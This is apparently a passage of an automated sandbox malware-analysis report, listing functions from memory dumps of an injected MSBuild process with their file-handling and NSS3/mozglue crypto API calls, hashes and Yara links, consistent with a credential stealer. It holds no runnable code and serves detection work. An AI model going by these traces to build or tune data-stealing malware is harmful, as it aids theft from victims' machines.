Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 59a84261f66af8b1b3cbd5ba54a3e3364ba31de220d2ed6513b95352563a0d17
Instruction ID: 7fd9c8d03dcb0e4f51dd0b8f36c6b0ed2d89118aefe17a9919a259e9c492de62
Opcode Fuzzy Hash: 59a84261f66af8b1b3cbd5ba54a3e3364ba31de220d2ed6513b95352563a0d17
Instruction Fuzzy Hash: BA21957590021DAFCF54DF60DC46AD9B779EB14305F1050A6F549A3190EEBA9BC48F44

Function 6CC32DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC32E08

Part of subcall function 6CC214C0: TlsGetValue.KERNEL32 ref: 6CC214E0
Part of subcall function 6CC214C0: EnterCriticalSection.KERNEL32 ref: 6CC214F5
Part of subcall function 6CC214C0: PR_Unlock.NSS3 ref: 6CC2150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC32E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC32E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC32E95

Part of subcall function 6CC21200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBC88A4,00000000,00000000), ref: 6CC21228
Part of subcall function 6CC21200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC21238
Part of subcall function 6CC21200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBC88A4,00000000,00000000), ref: 6CC2124B
Part of subcall function 6CC21200: PR_CallOnce.NSS3(6CD22AA4,6CC212D0,00000000,00000000,00000000,?,6CBC88A4,00000000,00000000), ref: 6CC2125D
Part of subcall function 6CC21200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC2126F
Part of subcall function 6CC21200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC21280
Part of subcall function 6CC21200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC2128E
Part of subcall function 6CC21200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC2129A
Part of subcall function 6CC21200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC212A1

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b353c912c1824e83ab00d1a8cc43a172c3a74c4020e14d54f45b8764febac806
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 912126B1E007514BEB00CF54AD55BAA3764AFA170DF111269ED0C5B783F7B6EA8883D2

Function 6CBEACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBEACC2

Part of subcall function 6CBC2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CBC2F0A
Part of subcall function 6CBC2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBC2F1D

Part of subcall function 6CBC2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CBC0A1B,00000000), ref: 6CBC2AF0
Part of subcall function 6CBC2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBC2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CBEAD5E

Part of subcall function 6CC057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CBCB41E,00000000,00000000,?,00000000,?,6CBCB41E,00000000,00000000,00000001,?), ref: 6CC057E0
Part of subcall function 6CC057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC05843

CERT_DestroyCertList.NSS3(?), ref: 6CBEAD36

Part of subcall function 6CBC2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CBC2F65
Part of subcall function 6CBC2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBC2F83

free.MOZGLUE(?), ref: 6CBEAD4F

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 4177ad301159134b39266a2e309915854889f3b18635025ea857f941a00306b7
Instruction ID: cd149c3ee37d4ca8ce5fb6d1ef25518dbffce1929513fb3fb97ac41b48880a02
Opcode Fuzzy Hash: 4177ad301159134b39266a2e309915854889f3b18635025ea857f941a00306b7
Instruction Fuzzy Hash: BC2196B1D001588BEF11DF64D8055EE7BB8EF49658F554068D805B7600FB31AA59CBA2

Function 6CC1ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC1F0AD,6CC1F150,?,6CC1F150,?,?,?), ref: 6CC1ECBA

Part of subcall function 6CC20FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBC87ED,00000800,6CBBEF74,00000000), ref: 6CC21000
Part of subcall function 6CC20FF0: PR_NewLock.NSS3(?,00000800,6CBBEF74,00000000), ref: 6CC21016
Part of subcall function 6CC20FF0: PL_InitArenaPool.NSS3(00000000,security,6CBC87ED,00000008,?,00000800,6CBBEF74,00000000), ref: 6CC2102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC1ECD1

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC1ED02

Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC1ED5A

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: bab8cd730d3186b8aa26c13840a8514afac46c6324b2f33974994a1b96eb3ca3
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: DA21CFB1A147429BE700DF26D948B52B7E4BFA4308F25825AE81CC7E61FB70E994C7D0

Function 6CC4EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC37FFA,?,6CC39767,?,8B7874C0,0000A48E), ref: 6CC4EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC37FFA,?,6CC39767,?,8B7874C0,0000A48E), ref: 6CC4EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC37FFA,?,6CC39767,?,8B7874C0,0000A48E), ref: 6CC4EE14

Part of subcall function 6CC20BE0: malloc.MOZGLUE(6CC18D2D,?,00000000,?), ref: 6CC20BF8
Part of subcall function 6CC20BE0: TlsGetValue.KERNEL32(6CC18D2D,?,00000000,?), ref: 6CC20C15

memcpy.VCRUNTIME140(?,?,6CC39767,00000000,00000000,6CC37FFA,?,6CC39767,?,8B7874C0,0000A48E), ref: 6CC4EE33

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: f3748ad103f9f51dcf98bc4d8f7347da31a27abada830d954935e12e311e8c63
Instruction ID: 530aff22c0889f7d12d3fb674978fc9ba828a305cf59d628879101f9244c5258
Opcode Fuzzy Hash: f3748ad103f9f51dcf98bc4d8f7347da31a27abada830d954935e12e311e8c63
Instruction Fuzzy Hash: B3115EB1A00716ABEB10DE65DC84F46F3A8BB0435DF26C539E91986A40F331E464C7E1

Function 6CABB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABB4F5
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CABB502
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CABB542
free.MOZGLUE(?), ref: 6CABB578

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a87d99ad060ce95a128c2cb6e02e0750547b02876d99241f55985cc97ee9a0cd
Instruction ID: 1fbf18ea71766478da9cce18c7328b55908b4ae3bdfeef9c7645f02eff5044c4
Opcode Fuzzy Hash: a87d99ad060ce95a128c2cb6e02e0750547b02876d99241f55985cc97ee9a0cd
Instruction Fuzzy Hash: 45110330E04B45C7D3128F29DA407B2B3B4FF96318F14970AE84A63A01EBB9B1C58792

Function 6CBE8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBE8DE7
EnterCriticalSection.KERNEL32 ref: 6CBE8DFC
PR_Unlock.NSS3 ref: 6CBE8E2D
PR_SetError.NSS3 ref: 6CBE8E49

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 65197ab4e47bea60659217d22e0953367df28408a57d5ef9968313378b83649e
Instruction ID: ae0bd80b604b08cc73494446e800997948066bff461be2d1b8ace96ede6396df
Opcode Fuzzy Hash: 65197ab4e47bea60659217d22e0953367df28408a57d5ef9968313378b83649e
Instruction Fuzzy Hash: A3118CB1A05A409FD700AF78D5886AABBF4FF49754F014969DD88D7B00EB31E894CBD2

Function 6CC6AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC55F17,?,?,?,?,?,?,?,?,6CC5AAD4), ref: 6CC6AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC55F17,?,?,?,?,?,?,?,?,6CC5AAD4), ref: 6CC6ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC5AAD4), ref: 6CC6ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC5AAD4), ref: 6CC6ACDB

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: a1d3d4b91d6ccbf17fdec11d080ddf5246ce5682f49bb60b03e6a19c7d2fa116
Instruction ID: 028fe7e319496224e0c0432c29e6b920b9b7b1e4e5d3897c779eb298f96b7d64
Opcode Fuzzy Hash: a1d3d4b91d6ccbf17fdec11d080ddf5246ce5682f49bb60b03e6a19c7d2fa116
Instruction Fuzzy Hash: E1019EB1B01B12ABE710DF2ADA49757B7E8BF80699B104839D85AD3E00E732F015CB90

Function 6CAE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CAAF20E,?), ref: 6CAE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CAAF20E,00000000,?), ref: 6CAE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAE3E0E

Part of subcall function 6CADCC00: GetCurrentProcess.KERNEL32(?,?,6CAA31A7), ref: 6CADCC0D
Part of subcall function 6CADCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAA31A7), ref: 6CADCC16

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 4bb5f23bae32a66c9a2e8664772eb1d3de6d71a9a7a378060a6636690e05dd47
Instruction ID: f4e20cbd0332ee7e68bdd338cb959db700ec70dd95cd4a70677fb6dafefb06b3
Opcode Fuzzy Hash: 4bb5f23bae32a66c9a2e8664772eb1d3de6d71a9a7a378060a6636690e05dd47
Instruction Fuzzy Hash: 84F01CB1A002087BEB00AB54EC81DBB376DEB46628F050020FE0957741DA39BE6996F7

Function 6CC6AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC55D40,00000000,?,?,6CC46AC6,6CC5639C), ref: 6CC6AC2D

Part of subcall function 6CC0ADC0: TlsGetValue.KERNEL32(?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE10
Part of subcall function 6CC0ADC0: EnterCriticalSection.KERNEL32(?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE24
Part of subcall function 6CC0ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CBED079,00000000,00000001), ref: 6CC0AE5A
Part of subcall function 6CC0ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE6F
Part of subcall function 6CC0ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE7F
Part of subcall function 6CC0ADC0: TlsGetValue.KERNEL32(?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AEB1
Part of subcall function 6CC0ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AEC9

PK11_FreeSymKey.NSS3(?,6CC55D40,00000000,?,?,6CC46AC6,6CC5639C), ref: 6CC6AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC55D40,00000000,?,?,6CC46AC6,6CC5639C), ref: 6CC6AC59
free.MOZGLUE(8CB6FF01,6CC46AC6,6CC5639C,?,?,?,?,?,?,?,?,?,6CC55D40,00000000,?,6CC5AAD4), ref: 6CC6AC62

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 71f2dc119679b0ff39f046bab8305bce3d90b87f778c2b15db7f84bb774de9b0
Instruction ID: 521a4b9031e4b64fbff84282956ffb910ba02cfaa93c32fd7c1f474e28ee463a
Opcode Fuzzy Hash: 71f2dc119679b0ff39f046bab8305bce3d90b87f778c2b15db7f84bb774de9b0
Instruction Fuzzy Hash: E40144B5A00210AFDB00DF15D9C0B4677E8AF8475CF148064E9498FB06E735E844CBA1

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction ID: 829b10f54598a7ff4258e043d4963b9d7c9dabd005c17a1734c4fecc941c9070
Opcode Fuzzy Hash: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction Fuzzy Hash: 22F031B2900218BBDF14DFE59C059BF77BCAB0C716F001095F941E2180E6399A80D775

Function 00412166 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,00414FAC,?,?,?,00414FAC,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121AC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6CCDCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CCDCC61
free.MOZGLUE ref: 6CCDCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CCDCC80
free.MOZGLUE(?), ref: 6CCDCC87

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
